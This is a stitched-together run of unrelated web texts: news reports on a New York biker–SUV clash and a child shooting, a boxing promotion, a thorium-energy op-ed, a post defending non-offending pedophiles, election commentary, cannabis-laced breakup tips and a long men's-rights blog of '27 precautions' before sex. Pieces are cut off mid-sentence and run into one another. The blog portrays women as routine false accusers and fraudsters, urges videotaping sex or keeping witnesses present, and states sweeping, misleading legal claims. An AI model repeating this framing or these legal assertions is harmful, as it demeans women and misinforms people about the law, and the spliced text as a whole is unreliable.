"There are many hospitals in the country that are already in the process of becoming proficient in care of patients with Ebola,” said Frieden. "We’re focusing first on Dallas
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Kirk Cousins flourished for three quarters against the Eagles, and was exposed when put against a tougher opponent on Thursday Night Football against the Giants.
Franchise quarterbacks aren't accurately identified preemptively based on one game. They're identified retroactively, based on repeated performances that prove a player is a reliable, capable option under center week in, and week out. Glennon shows flashes of "franchise" ability, and the more he's able to repeat those flashes, the closer he draws to shedding the "future" title for a "franchise" title.State troopers say they're wary of certain motorcyclists that ride together in groups, known to endanger themselves and others. NBC's Stephanie Gosk reports
A motorcyclist who may be paralyzed after being run over during a clash between bikers and a Range Rover on a New York City highway has hired high-profile lawyer Gloria Allred.
Edwin “Jay” Mieses, 33, is in critical condition with a crushed spine, two broken legs and other injuries from Sunday’s confrontation, captured on a viral video that has drawn more than 4 million hits on YouTube.
"There's no hope for his back," his wife, Dayana Meises, told reporters on Tuesday. "They broke it in two different places, so he will be forever, forever paralyzed."
Christopher Cruz of Passaic, N.J., was charged with reckless driving and unlawful imprisonment for a violent encounter with an SUV driver on a New York City highway.
The family issued a statement on Wednesday night asking for privacy and announcing it had hired Allred, a media-savvy Los Angeles lawyer who usually specializes in women rights and sexual harassment cases.
She has represented people in suits against high-profile defendants ranging from Michael Jackson and Arnold Schwarzenegger to former congressman Anthony Weiner and former San Diego mayor Bob Filner.
They also retained a New York lawyer, Mariann Meier Wang. Both lawyers had no comment on whether the family is planning legal action.
Police say Mieses — a father of two from Lawrence, Mass. -- was struck by Alexian Lien’s SUV when he sped away from a pack of bikers who were attacking his vehicle after a fender-bender.
The swarm of riders chased Lien for 50 blocks before cornering him, smashing in his windows, yanking him out and beating him in front of his wife and 2-year-old child, police said.
Police later arrested two of the bikers, but prosecutors declined to pursue charges against one of them.
Allen Edwards, 42, of Queens, was seen hitting the Range Rover with his hands but there is no indication he participated in the beating and he actually may have tried to help the SUV driver, sources told NBC New York.
The wife of one of the bikers who was injured when a motorist in an SUV fled a biker attack wants charges against the driver. But police say he did what he had to do to get away and protect his family, and that charges against him aren't likely. NBC's Kristen Dahlgren reports.
"We are taking Sunday's crimes extremely seriously, and will proceed with charges in a manner that enables us to build the strongest cases possible," Karen Friedman-Agnifilo of the Manhattan district attorney's office said in a statement.
"Prematurely charging individuals with low-level crimes does not further the goals of the investigation, and could weaken the cases we expect to bring against the perpetrators of serious crimes."
Meanwhile, the biker who is accused of causing the fender-bender that set off the chase appeared in a Manhattan courtroom to face charges of reckless driving and unlawful imprisonment.
The video, made by a helmet camera, shows Cruz cutting in front of the Range Rover, slowing down and gesturing at the driver before Lien apparently clipped his back tire.
Bikers then converged on the SUV and, police say, pounded on it and slashed a tire. That’s when Lien sped off in a panic, running over Mieses.
Cruz’s lawyer, H. Benjamin Perez, said outside court that his client wasn’t trying to trap Lien and didn’t take part in the chase or attack.
Deliliah Domenech Jay Mieses' family says he may be paralyzed from the waist down after being injured Sunday during a clash between bikers and a Range Rover in Manhattan.
“I wouldn’t classify it as a deliberate attempt to block the car,” Perez said. “Even if his motorcycle slowed down, he had nothing to do with what happened with this gentleman.”
Police have not charged Lien but said the investigation is continuing.
Asked whether Lien was within his legal rights to race away from the scene of his accident with Cruz, Police Commissioner Raymond Kelly said he might have been.
"It depends on whether or not your vehicle is being attacked, whether or not you think you’re being attacked, whether or not your wife and child are in the car. You have to look at the totality of the circumstances and that’s what we’re doing,” he said Tuesday.
"Obviously, if you can get out of there without hurting someone, that’s what we advise you to do," he added. "There’s no one-size-fits-all to a situation like this."
It’s unclear if Lien, who has not spoken publicly, has a lawyer. A spokesperson for the Internet company where he works said earlier this week there was no comment.
Related:
H. Benjamin Perez, the attorney for biker Christopher Cruz who was arraigned in connection to a New York City SUV chase that ended in violence, says his client "had absolutely nothing to do with the beating that occurred … he was not there, he never left the West Side Highway."
This story was originally published onNietes vs Estrada up next for ALA Promotions in US
SAN FRANCISCO — Even though the result of the Pagara-Juarez fight was not the one he had hoped to achieve, for ALA Promotions President and CEO Michael P. Aldeguer, the show must go on.
Aldeguer will motor to Los Angeles, away from the scene of the nerve-wracking battle at San Mateo Event Center, to meet with Zanfer Promotions people Tuesday (Wednesday Philippine time) to try to finalize the Nietes-Estrada world flyweight title fight on September 24 at the StubHub Center in Carson, California on Pinoy Pride 38.
If it pushes through, it will become one of the biggest fights in the lower weights in recent years. Estrada is the current WBO and WBA flyweight champion while Nietes is the WBO and Ring junior flyweight champion.
“We are in serious negotiations right now. The Zanfer people will drive from San Diego to Los Angeles where we meet to iron out the details of the fight,” Aldeguer told Philboxing earlier.
Nietes, the Philippines' longest reigning world champion in history and has WBO Super champion status, has been mandated by the WBO to fight for the third time Mexico's Moises Fuentes, who has become his mandatory challenger. Nietes and Fuentes fought to a draw the first time they met but Nietes had an emphatic victory over Fuentes in their rematch on May 10, 2014 when he decked Fuentes three times en route to a 9th round stoppage.
A lot of people felt there's no point for a third fight. Nietes himself felt the same.
“Nietes came to my office one day, and as usual in his humble self, politely begged me to make the Estrada fight instead,” Aldeguer narrated. “I told him I'll try.”
Since both Fuentes and Estrada are being promoted by Zanfer Promotions, Fernando Beltran, Zanfer CEO, was open to the idea and asked Estrada if he wanted the Nietes fight to which Estrada himself answered in the affirmative.
Aldeguer then wrote to WBO president Francisco Valcarcel asking permission to grant Nietes the privilege to fight for Estrada's belt and if he wins, Nietes will have the option which belt to retain but if he loses, Nietes can continue to defend his old belt as has been done in similar situations.
Valcarcel told Aldeguer he saw no problem with the request, especially since Nietes is a WBO Super champion which certainly earned him such privilege.
“But it's not a done deal yet,” Aldeguer cautioned. “If the deal pushes thru, it will be our biggest budgeted promotion ever. So I'm talking to some people including ABS-CBN's [chairman] Gaby Lopez and also there are a lot of details that we have to iron out with Zanfer.”
Aldeguer, however, felt that this fight has to be made. “All the work I've done the past six years was to ultimately to make these kind of fights. I wanted to make the biggest fights out there for our Filipino boxers. And this opportunity is there now.”
But a specter is always there: What if Nietes loses to Estrada? Will it not affect unfavorably the promotions especially that Nietes is the ALA flagship boxer?
“Boxing is not like organizing a concert event,” Aldeguer told Philboxing once. “In a concert, your only risk is if your singer loses his or her voice. But basically you already see what you've got even before the concert has started. In boxing, it's different. You don't really know what you've got until the hand of the winner has been raised at the very end.”
But for Aldeguer, win or lose, the show must go on. (FREEMAN)We could then stop arguing about wind mills, deepwater drilling, IPCC hockey sticks, or strategic reliance on the Kremlin. History will move on fast.
Muddling on with the status quo is not a grown-up policy. The International Energy Agency says the world must invest $26 trillion (£16.7 trillion) over the next 20 years to avert an energy shock. The scramble for scarce fuel is already leading to friction between China, India, and the West.
There is no certain bet in nuclear physics but work by Nobel laureate Carlo Rubbia at CERN (European Organization for Nuclear Research) on the use of thorium as a cheap, clean and safe alternative to uranium in reactors may be the magic bullet we have all been hoping for, though we have barely begun to crack the potential of solar power.
Dr Rubbia says a tonne of the silvery metal – named after the Norse god of thunder, who also gave us Thor’s day or Thursday - produces as much energy as 200 tonnes of uranium, or 3,500,000 tonnes of coal. A mere fistful would light London for a week.
Thorium burns the plutonium residue left by uranium reactors, acting as an eco-cleaner. "It’s the Big One," said Kirk Sorensen, a former NASA rocket engineer and now chief nuclear technologist at Teledyne Brown Engineering.
"Once you start looking more closely, it blows your mind away. You can run civilisation on thorium for hundreds of thousands of years, and it’s essentially free. You don’t have to deal with uranium cartels," he said.
Thorium is so common that miners treat it as a nuisance, a radioactive by-product if they try to dig up rare earth metals. The US and Australia are full of the stuff. So are the granite rocks of Cornwall. You do not need much: all is potentially usable as fuel, compared to just 0.7pc for uranium.
After the Manhattan Project, US physicists in the late 1940s were tempted by thorium for use in civil reactors. It has a higher neutron yield per neutron absorbed. It does not require isotope separation, a big cost saving. But by then America needed the plutonium residue from uranium to build bombs.
"They were really going after the weapons," said Professor Egil Lillestol, a world authority on the thorium fuel-cycle at CERN. "It is almost impossible make nuclear weapons out of thorium because it is too difficult to handle. It wouldn’t be worth trying." It emits too many high gamma rays.
You might have thought that thorium reactors were the answer to every dream but when CERN went to the European Commission for development funds in 1999-2000, they were rebuffed.
Brussels turned to its technical experts, who happened to be French because the French dominate the EU’s nuclear industry. "They didn’t want competition because they had made a huge investment in the old technology," he said.
Another decade was lost. It was a sad triumph of vested interests over scientific progress. "We have very little time to waste because the world is running out of fossil fuels. Renewables can’t replace them. Nuclear fusion is not going work for a century, if ever," he said.
The Norwegian group Aker Solutions has bought Dr Rubbia’s patent for an accelerator-driven sub-critical reactor, and is working on his design for a thorium version at its UK operation.
Victoria Ashley, the project manager, said it could lead to a network of pint-sized 600MW reactors that are lodged underground, can supply small grids, and do not require a safety citadel. It will take £2bn to build the first one, and Aker needs £100mn for the next test phase.
The UK has shown little appetite for what it regards as a "huge paradigm shift to a new technology". Too much work and sunk cost has already gone into the next generation of reactors, which have another 60 years of life.
So Aker is looking for tie-ups with countries such as the US, Russia, or China. The Indians have their own projects - none yet built - dating from days when they switched to thorium because their weapons programme prompted a uranium ban.
America should have fewer inhibitions than Europe in creating a leapfrog technology. The US allowed its nuclear industry to stagnate after Three Mile Island in 1979.
Anti-nuclear neorosis is at last ebbing. The White House has approved $8bn in loan guarantees for new reactors, yet America has been strangely passive. Where is the superb confidence that put a man on the moon?
A few US pioneers are exploring a truly radical shift to a liquid fuel based on molten-fluoride salts, an idea once pursued by US physicist Alvin Weinberg at Oak Ridge National Lab in Tennessee in the 1960s. The original documents were retrieved by Mr Sorensen.
Moving away from solid fuel may overcome some of thorium’s "idiosyncracies". "You have to use the right machine. You don’t use diesel in a petrol car: you build a diesel engine," said Mr Sorensen.
Thorium-fluoride reactors can operate at atmospheric temperature. "The plants would be much smaller and less expensive. You wouldn’t need those huge containment domes because there’s no pressurized water in the reactor. It’s close-fitting," he said.
Nuclear power could become routine and unthreatening. But first there is the barrier of establishment prejudice.
When Hungarian scientists led by Leo Szilard tried to alert Washington in late 1939 that the Nazis were working on an atomic bomb, they were brushed off with disbelief. Albert Einstein interceded through the Belgian queen mother, eventually getting a personal envoy into the Oval Office.
Roosevelt initially fobbed him off. He listened more closely at a second meeting over breakfast the next day, then made up his mind within minutes. "This needs action," he told his military aide. It was the birth of the Manhattan Project. As a result, the US had an atomic weapon early enough to deter Stalin from going too far in Europe.
The global energy crunch needs equal "action". If it works, Manhattan II could restore American optimism and strategic leadership at a stroke: if not, it is a boost for US science and surely a more fruitful way to pull the US out of perma-slump than scattershot stimulus.
Even better, team up with China and do it together, for all our sakes.Condemning pedophiles.
First of all, I am not saying that I’m okay with pedophiles raping children.
But our society today treats them like the scum of the Earth.
A pedophile is NOT someone who will rape children because they suddenly desire it.
A pedophile is a person with a psychiatric disorder that causes them to be attracted to children.
Most pedophiles just cover it up. They don’t act on their desires. Most are ashamed they feel this way.
Here’s a scenario: A friend of yours comes up to you and says he’s a pedophile and he’s attracted to children.
Guess what? The majority of people will be disgusted. They will get away from him, especially if they have children.
We don’t help them. The media will shun them and make them feel like monsters.
But the difference between a pedophile and a molester is like the difference between a man who likes Teslas and a man who steals them.(Credit to Łukasz Madry for analogy)
Many pedophiles will cover it up and live in agony, while some take their own life.
Should we allow these people to kill themselves? Is it their fault that they have a mental illness?
No.
A pedophile is a person. Pedophiles are ashamed. This can be a pedophile.
A pedophile is a person. Not a monster.
We should help them. Not shun them.Copyright by WKRN - All rights reserved Britton Cornell (L) and Ryan Duggar (R) (Courtesy: Tennessee Bureau of Investigation)
Copyright by WKRN - All rights reserved Britton Cornell (L) and Ryan Duggar (R) (Courtesy: Tennessee Bureau of Investigation)
WKRN web staff - FRANKLIN, Tenn. (WKRN) - Two former Franklin police officer face misconduct charges after an investigation by the Tennessee Bureau of Investigation.
TBI agents began investigating allegations of misuse of information against Britton Cornell and Ryan Dugger, who were police officers at the time, on April 26.
During the course of their investigation, agents developed information that between January and April 2017 Cornell and Dugger allegedly used the criminal justice portal system for excessive inquires on their days off and after hours.
A grand jury returned indictments against both men on Tuesday, charging them each with one count of official misconduct and one count of official misuse of information.
Cornell was arrested on Wednesday and Dugger turned himself in Thursday morning. Both men were booked into the Williamson County jail on a $5,000 bond.
Franklin Police Chief Deborah Faulkner said, "After ordering an administrative investigation, I contacted District Attorney General Kim Helper to request a review of this matter by her office and the Tennessee Bureau of Investigation. The criminal indictments of Cornell and Dugger for official misconduct and official misuse of information were the result. Franklin police officers depend on and value the trust of our citizens. Violating that trust is never an option."A man who dares to have sex with a woman needs legal counsel. He is guilty until proven innocent on many charges, which can be filed years after sex. A woman can claim she withdrew consent in the middle of the act, was unable to consent because she was drunk, drugged, had mental problems; she can look older, lie about her age and have fake id; can insert sperm from a condom into her vagina to inseminate herself, can get child support even if SHE raped him; injure herself and accuse him of battery and rape. He may go to jail for doing a DNA test on the cuckold child from his wive’s adulterous affair. Even sex dolls can look underage, and masturbation has its risks.
Nowadays, a man cannot simply engage in sex. He might get arrested, jailed for decades, registered as a sex offender, or have to pay spousal support and child support for a few dacades.
A mere 27 precautions can help to significantly diminish these dangers, but can not eliminate them
Precautions in order to safely (?) engage in sex with a woman
Legal precautions before engaging in sex in Brazil
The following text has been made popular in Brazilian blogs. It proposes a list of all the precautions a man has to go through before risking to engage in sex with a woman. Other countries are usually even more stringent and have even more dangers, as I will show
Then I will show that the author has been very optimistic and his precautions are way insufficient.
First take the girl to a hospital emergency room and request a blood test for alcohol and other drugs, to avoid charges of sexual contact through fraud with a person unable to consent or resist.(Art. 215 CPB) Then go with her to a notary public and require her to file a declaration that you are practicing consensual sex, to avoid charges of rape. (Art. 213 CPB) Also, demand that she register a declaration with the notary republic that she is engaging in casual sex, to avoid any claim for breach of a stable common law relationship with her partner. (Law 9.278, Art. 7) Next, go to a laboratory and require an examination of beta-HCG (human chorionic gonadotrophin) to make sure that you are not the guy chosen to support it her in a pre-existing pregnancy with a baby that is not yours. (Law 11.804 Art. 6)
At the motel or at home, use condoms and don’t even think of “rough sex” to avoid accusations of domestic violence and get thrown in jail for spousal abuse ( Law Nº 11.340). Also, you should pamper her, praise her, never criticize her or complain about anything, (you must be the perfect mate), so as not to cause any “physical, sexual or psychological suffering and moral damage.” You of course are without any of the same rights in return. (Law 11.340 Art. 5) Upon leaving the motel, take her to the Forensic Medicine Institute and require a medical examination, be sure to request an expedited report for the possibility of bodily injury (Art. 129 CPB) and to check for the presence of sperm in the vagina, to TRY to avoid spending nine months of hell if she later becomes pregnant by another guy (Law 11.804 Art. 6). Finally, if the presence of sperm in the vagina of the girl is detected, immediately require a collection of samples for further investigation of paternity ((??Law1.060 Section 3 paragraph VI) and request a refund of any alimony obtained through deception or fraud. (Art. 171 CPB) Having done all this, MAYBE you can practice “safe sex” if you are still interested.
This list is a good start, but unfortunately quite incomplete and left out a lot of risk factors, such as
underage statutory rape charges
fake ID
rape charges due to withdrawal of consent in the midst of the sex act
jurisdictional problems during travel
prostitution charges (which soon might elevate age of consent to 21 years)
I attempt to remedy these omissions and elaborate a more complete list of measures
27 precautions in order to safely engage in sex with a woman
A) Get Legal Counsel to understand the local law
you thought you could have sex without a lawyer? No way!
The girl looks quite clearly underage. Thus ID check, verification for fake ID, study of federal and state law regarding their age differences for application of Romeo & Juliet laws would be of major importance. Also informed consent about the risks, for example that the girl might withdraw consent at any time, a right which probably cannot be signed away in a contract. A lawyer should also advise his client that no photos must be taken, to avoid sexting child porn charges. So the video, though interesting, is very very incomplete.
1) get legal counsel to learn about local sex laws (where you are engaging in sex) Sex laws and age of consent laws vary from state to state and from country to country. Take special care about age of consent, illegal sex practices, adultery laws, etc Make sure you don’t inadvertently cross state lines, country borders, or get into extraterritorial areas like consulates, embassies, etc. Make sure there are no special county or city laws you might violate! 2) Get legal counsel from the country of your citizenship and main residency. Often you can be punished for committing acts that are legal where you are, but are not legal in your home country. Not only if you are a citzien of Saudi Arabia, and engage in extramarital sex on a trip to Kuwait. But also if you are an American citizen and have legal sex with a European 16 years of age, beyond the age of consent. Even if in your home state the age of consent is 16 or under, federal law makes it a felony to have sex with anyone under 18, anywhere in the world. For example, a citizen of a European country, with age of consent 16, who turns a legal resident of the United States, will be very surprised to know that he can get 30 years in prison for merely planning to travel home to have sex with his lawful girlfriend or fiance of 17 years of age. (TITLE 18 > PART I > CHAPTER 117 > § 2423 Travel With Intent To Engage in Illicit Sexual Conduct) If you are a child or adolescent minor, it is mandatory to get legal advice before playing doctor. The legal issues regarding nudity, photos, sex of children and adolescents are extremely complex. I deal with this in a separate post.
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B) Check ID for age and identity
3) Check ID of your prospective partner for age Make sure your partner is above age of consent. It does not matter if your prospective parter looks like 70 years old, s/he could suffer from Progeria, which makes 7 year olds look like 70. The disease is admittedly rare, but do you want to go to jail for 20 years and get special attention because you are labelled a “child rapist”? 4) Verify the ID for authenticity The ID could be fake. So check the ID for authenticity.
No matter how well you checked, how well she falsified her ID, this will not keep you out of jail. This should be known since the times of Tracy Lords 5) Make sure the ID does not belong to someone else. The ID could be authentic. But it could belong to another person. So check the photo, compare it to the person. If there is a signature, have the person sign a piece of paper. Get a graphotechnical (handwriting expert) analysis to assure the signature in the ID matches the signature in the ID. If there are fingerprint and other features, have an expert check this. 6) Hire a detective to run a background check, to independently to confirm all data on ID, to make sure she is off age and really over the age of consent Even if s/he has a government emitted ID, if she deceived or bribed government officials to give her a false ID, that is no excuse.
So the detective, ideally, should check out the family, school records, birth certificate, verify records at her birth clinic. Ideally he should run a DNA test to make sure there is no stolen identity.
C) Avoid “grooming” charges.
You can spend decades in jail without ever having met the girl, without ever having tried to have sex with her. Just for chatting her up.
7) You must do the age checks before you even talk to the girl.
Even if f the girl is over the age of consent but under 18 you could get into trouble if you have ever talked to her online. Even text messages could be potentially covered by these “grooming” laws. So don’t even befriend any girl that cannot prove to you she is over 18. (When reading the text below, don’t forget that nowadays 17 year olds are “children”.) In its report Protection of Children Against Abuse Through New Technologies, the Council of Europe Cybercrime Convention Committee addressed the emerging issues of violence against children through the use of new technologies (the issue of child pornography on the Internet is already covered by Article 9 Convention) with particular reference to grooming both through the internet and by mobile telephones.[8] Some States have already criminalized grooming in their national legislation.
Australia Australian Criminal Code Act 1995 section 474.26 and 474.27 prohibits the use of a “carrier service” to communicate with the intent to procure a person under the age of 16, or expose such a person to any indecent matter for the purposes of grooming. The various states and territories have similar laws, some of which use a different age (for example the victim need only be under 18 in Queensland). Canada In Canada, Criminal Code section 172.1 makes it an offence to communicate with a child through a computer system for the purpose of committing a sexual offence (termed “luring a child”). United Kingdom In England and Wales, sections 14 and 15 of the Sexual Offences Act 2003 make it an offence to arrange a meeting with a child, for oneself or someone else, with the intent of sexually abusing the child. The meeting itself is also criminalized.[9] The Protection of Children and Prevention of Sexual Offences (Scotland) Act 2005 introduced a similar provision for Scotland.[10] Thus, a crime may be committed even without the actual meeting taking place and without the child being involved in the meeting (for example, if a police officer has taken over the contact and pretends to be that child). In R v T (2005) EWCA Crim 2681, the appellant, aged 43, had pretended to befriend a nine-year-old girl, but had done very little with her before she became suspicious and reported his approaches. He had a number of previous convictions (including one for rape) and was described as a “relentless, predatory pedophile”. The Court of Appeal upheld a longer than commensurate sentence of eight years’ imprisonment with an extended licence period of two years. United States In the United States, 18 U.S.C. § 2422
makes it a federal offense to use interstate mail etc. to entice a minor to sexual activity for which any person can be charged with a criminal offense. 18 U.S.C. § 2425
makes it a federal offense to transmit information about a person below the age of 16 for this purpose. Some states have additional statutes covering seducing a child online, such as the Florida law that makes “Use of a Computer to Seduce a Child” a felony.[citation needed] Laws focused on ‘grooming’ were first enforced federally against Alabaman Jerry Alan Penton in 2009. Penton received 20 years in prison for that action coupled with another 20 for his distribution and possession of child pornography.was sentenced to 40 years in federal prison on a variety of charges relating to child pornography.[11] en.wikipedia.org/wiki/Child_grooming
D) Avoid Incest
No genetic consanguinity, nor relatedness by adoption, step-parentship, marriage, etc.
8) Remember Oedipus? Get DNA test of her and of yourself, to make sure there is no unexpected blood relationship between you, Oedipus was a mythical Greek king of Thebes. He fulfilled a prophecy that said he would kill his father and marry his mother! He did not know they were his parents. Consanguinity could be caused by mixup of babies at birth.
You could be an adopted child, a full brother of your lover, without knowing it.
Or she could be the product of artificial insemination with your father’s sperm.
Your father could have had a secret affair with your lover’s mother, etc. 9) Make sure she is not related to you by marriage, adoption, … en.wikipedia.org/wiki/Milk_kinship Have your detective perform do genalogy research on the girl and yourself.
E) Assure and document valid consent. Prove consent is never withdrawn
(Initial consent is not enough, you must prove consent has never been withdrawn)
see”Consensual sex, followed by rape, followed by consensual sex
10) First take the girl to a hospital emergency room and request a blood test for alcohol and other drugs, Obvious. If she is drunk, her consent is not valid. You also should keep a paper trail of these tests. Keep them for at least 10 years, as she can complain about rape after years and years. 11) Make sure you document, with videos or 3 witnesses, that she does not get incapacitated by taking drugs or dring AFTER that test. Furthermore you need to record everything on video, seemlessly, to avoid claims that she drunk or took drugs after the test. (of course, video has other dangerous pitfalls) 12) Get a background check, that is has not been declared legally incompetent Your detective probably can do that for you. Obviously, if she is legally incompetent, she cannot consent and you go to the slammer for rape. 13) Get a psychological and medical test, that she is not mentally retarded nor suffers from other severe psychological ailments that would invalidate consent 14) Then go with her to a notary public and require her to file a declaration that she is practicing consensual sex, to avoid charges of rape This is the minimum requirement. Unfortunately, she can withdraw that consent at any time, in the middle of the sex act. 15) Make sure you have proof she does not withdraw consent later on (video, or several witnesses) Consensual sex, followed by rape, followed by consensual sex So again, documenting everything in video is essential. Especially you have to videotape the sex act. Of course, the video has other pitfalls. If your parter is over the age of consent, but under 18, then you are allowed to have sex with her, but you are not allowed to film it. In that case, the only solution would be to have at least 3 witnesses present, during the sex act, to make sure she never ever uttered the word “stop” or “no”.
Another problem with video taping is that if the video tape leaks, gets stolen, gets published, you might be liable.
F) Manage Video documentation
as demonstrated above, videotaping your interactions with sex partners is a necessary evil.
16) Get written consent from the woman that she agrees to your videotaping 17) Find out for how many years after the fact a woman can file rape charges. Then prepare to store the video for a couple of decades 18) You need to take precautions to preserve her privacy, so the video does not leak to youtube or sex site. 19) It would be good if you encrypt it and get a few backups. If you lose a video with exonerating proof, that might cost you half a lifetime in jail.
G) Prevent child support, pregancy support, spousal support, common law marriage claims
20) Make sure she is not yet pregnant. Go to a laboratory and require an examination of beta-HCG (human chorionic gonadotrophin) to know if she is already pregnant. So she can not claim you got her pregnant. In Brazil there is a law providing obliging a presumed father to support the pregnant woman already during pregnancy (Law 11.804 Art. 6). 21) Watch your sperm.
Never trust a woman’s claim she is taking the pill.
Always use a condom.
make sure your sperm gets destroyed and cannot be abused for “artificial insemination” Even if mother cheated, lied, or raped: father always pays child support. Assure the woman cannot use your sperm from oral sex or from the condom for “artificial insemination” by inserting it into her vagina
Make sure you always flush the condom down the toilet, or wash it out in the sink before discarding it in the waste bin.
Whe you have an orgasm, make sure you watch where the sperm goes. Make sure she spits into a towel, into the toilet, or assure she really swallows 22) have her register a declaration with the notary republic that she is engaging in casual sex, to avoid any charges for spousal support due to long term common law relationaship/ marriage, 23) Right after sex, take her to the Forensic Medicine Institute to check for the presence of sperm in the vagina … Prevents her from asking you for abortion money and saves you 9 months of nerve wrecking uncertainty.
This also proves you cannot be the father, in case she gets pregnant, thus freeing you from pregnancy support.
H) Prevent accusations of domestic violence, spousal abuse
24) … and [ after sex ] require a medical examination for the possibility of bodily injury This is very essential, as she might inflict injuries on herself after you leave her. Of course, if she injures herself while she is with you, then only your uninterrupted video and your witnesses can save you from certain doom and 5 years in jail. 25) Of course, you already got such an medical examination for bruises and bodily injury before sex to document any pre-existing bruise she might have had before the relationship 26) During sex, don’t even think of “rough sex” to avoid accusations of domestic violence and get thrown in jail for spousal abuse.
I) Avoid prostitution charges
27) Make sure you don’t give any presents or money, to avoid prostitution charges. This is especially tricky, as most women want free meals, shopping sprees for clothes, etc.
If prostitution is illegal, you can get into serious trouble for your presents.
Even where prostitution is legal, there are often other hurdles, like a higher age of consent for prostitution then for free sex. Holland, for example, is on the verge of increasing the age of consent for prostitution to 21 years
J) Is married sex a safer alternative?
By now you are convinced that it is unfeasible to safely have any short term relationships. So let us analyze if marriage is a safer alternative.
The only risk you reduce is statutory rape. Not only will you have a good background check on the real age of your spouse, but most staturory rape laws have express exemptions for married couples. But unlike 40 years ago, rape, spousal abuse, domestic violence laws are the same.
There are additional risks and aggravations for sex with wives
by default, you are the father of your wive’s offspring. If your spouse cheats on you, the resulting offspring is still your kid, by default. So you will pay 25 years of child support for the child fathered by your neighbor. In many countries it is prohibited for the husband “father” to do a DNA test on your own kids. In Britain you can go to jail for DNA-testing your cuckold child. so you are doomed to pay support for the baby of your wife’s lover
. If your spouse cheats on you, the resulting offspring is still your kid, by default. So you will pay 25 years of child support for the child fathered by your neighbor. In many countries it is prohibited for the husband “father” to do a DNA test on your own kids. In Britain you can go to jail for DNA-testing your cuckold child. so you are doomed to pay support for the baby of your wife’s lover Most likely, you will pay spousal support for the rest of your life. And if your income decreases so you
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two states that went Republican in 2012 but that Ms. Clinton would dearly love to capture this time out.
You really shouldn't have called them rapists and murderers, Mr. Trump.
The advance vote, however, is down in some areas with heavily African-American populations. It wouldn't be surprising if these voters were less motivated to vote for Ms. Clinton than for the man who became the first black president in the history of the United States.
Story continues below advertisement
What matters today is that the Clinton camp appears to have identified its vote, especially among Latinos, and delivered that vote to advance polls. There is no sign as yet the Trump camp has gotten its vote out, whatever that vote may be.
What matters more, however, is what happens tomorrow. Are Latinos so exercised by Mr. Trump's slanders that they come out in droves on election day, as well as in advance polls? Will President Barack Obama's pleas to African-Americans to preserve the legacy of his administration by voting for Ms. Clinton motivate them to come out and cast a ballot?
Will women voters stand in line for as long as it takes to register their disapproval with a Republican nominee who, in the past, has treated them like so many pieces of meat? Will angry, white working-class Trump supporters in the industrial states of the Midwest prove that they are still a formidable force that must not be counted out?
We will soon know. But for supporters of Ms. Clinton, all the news is good, one day before the poll that matters.
With reports from Heavy.com and PoliticoPolice said Robert Chavez, 29, accidentally shot a 12-year-old boy when he was showing the child a weapon on Feb. 21, 2016. Chavez was a prohibited possessor, police said. (Photo: Maricopa County Sheriff's Office)
PHOENIX — A 12-year-old boy was hospitalized with life-threatening injuries Sunday after his uncle showed him his handgun and it accidentally went off, according to police.
Robert Chavez was arrested and charged with aggravated assault and misconduct after showing his nephew his gun, said Sgt. Jonathan Howard, a Phoenix police spokesman.
According to court documents, Chavez told officers he thought the gun was unloaded before pulling the trigger. The bullet hit his nephew in the chest.
Chavez is prohibited from possessing a firearm, Howard said.
He admitted to officers that he bought the gun a week ago even though he knew he was not allowed to have one, according to court documents.
At last check, the boy's condition was improving, Howard said.
Chavez's bond was set at $50,000. His next court appearance was scheduled for Feb. 29.
Read or Share this story: http://usat.ly/1TBnybHBritish musician Sam Palladio once said, “If you break up with a [partner], you’re in this vulnerable state where you’re still kind of half in the relationship with them, but you’re single, and it takes a while to feel solid in yourself again.”
People choose to end relationships for a multitude of reasons. Regardless of the rationale, there is pain. You’ve experienced a loss, and you have to re-create your place in a world that puts a great deal of emphasis on relationships. It doesn’t matter if you were the initiator, the receiver, or the decision was mutual–it’s difficult. Here are my top tips for surviving a breakup, so grab a pint of Ben & Jerry’s and pack a bowl as you learn these six ways to cope and bounce back stronger than before.
Allow Yourself to Grieve
Dr. Emily Nagoski, a sex educator and author, explains why breakups hurt so much from a science perspective. “Grief is proof that we love, and love is both the most abundant and the rarest of elements in the universe. Grief is the effect of broken attachment. And attachment is the biological foundation of love and thus, as literally as can be, the blood and guts of human relationships. So if it feels like you’re bleeding…that’s why.”
Acknowledge your grief, allow yourself to feel it fully, and honor it. Dismissing your emotions, pushing through your feelings, or denying them entirely only serves to delay the pain. It cannot prevent it. Sometimes you need to wallow, and that’s okay. Don’t listen to people who tell you to “get over it.” We all know it’s not that easy.
Reach Out for Support
Talk to someone. It could be one close friend or relative, members of your community, or a mental health professional. Processing difficult emotions helps us integrate them into our narrative. At the same time, be aware of over-processing to the point where all you talk about is your breakup, which can lead to feeling “stuck” in your emotions. It’s a balancing act.
Consider Cannabis for Some Emotional First Aid
Sometimes in the midst of sadness, we can forget what it feels like to feel good. I’ve had breakups where I cannot remember the last time I laughed or smiled. Imbibing a sativa or hybrid can help remind you that you can feel happiness again. When I go through a breakup, I utilize some of my favorite euphoric strains, including Laughing Buddha and The Sauce.
For those who lay awake at night painfully recounting memories of happier times, I suggest a heavy indica to help you sleep. LA Confidential, one of my all-time favorite indica strains, has been instrumental in allowing me to turn off my brain and get some sleep. For daytime stress, try a CBD-rich strain like Harlequin. I’ve been keeping my W Vapes pen in my purse so I can take a quick pull if I feel anxiety creeping in.
Detox from Social Media
In the age of Facebook and Twitter, reminders of your ex can litter the ground like cigarette butts on the sidewalk. At the end of 2015, Facebook announced that they were rolling out breakup-friendly tools: “When people change their relationship status to indicate they are no longer in a relationship, they will be prompted to try these tools.” Some options include seeing less of a partner’s name or image on your news feed without having to unfriend or block them, as well as removing your tags from any posts or photos that you and your ex are tagged in together.
If your go-to social media platform doesn't have any of those tools built-in, try taking a break from them altogether, at least for a while. You may not be in the best shape to be glimpsing at all your friends' highlight reels while you're feeling down, so take a step back and devote some time to yourself.
Get Your Body Involved
Go outside in the sunshine and feel the rays warming your skin. Hang out in a place where there are trees and flowers. Go to a body of water. Dance it out. Sing loudly to your favorite songs. Take a yoga class. Do something to embody the emotions you’re feeling, and express them. Paint a picture, create a sculpture, build a model airplane. Go to the spa and treatchoself. Whatever you decide, get your body moving and check in with nature to jump-start some positivity in your life.
Rest and Hydrate
Get plenty of sleep and drink lots of water. Stress is incredibly hard on the body, and prolonged stress can have all sorts of physical side effects. Gastrointestinal distress, headaches, fatigue, and anxiety are only a few. You can find more information about the way stress impacts the body on the American Psychological Association’s website. Your job is to take care of yourself. People will understand.
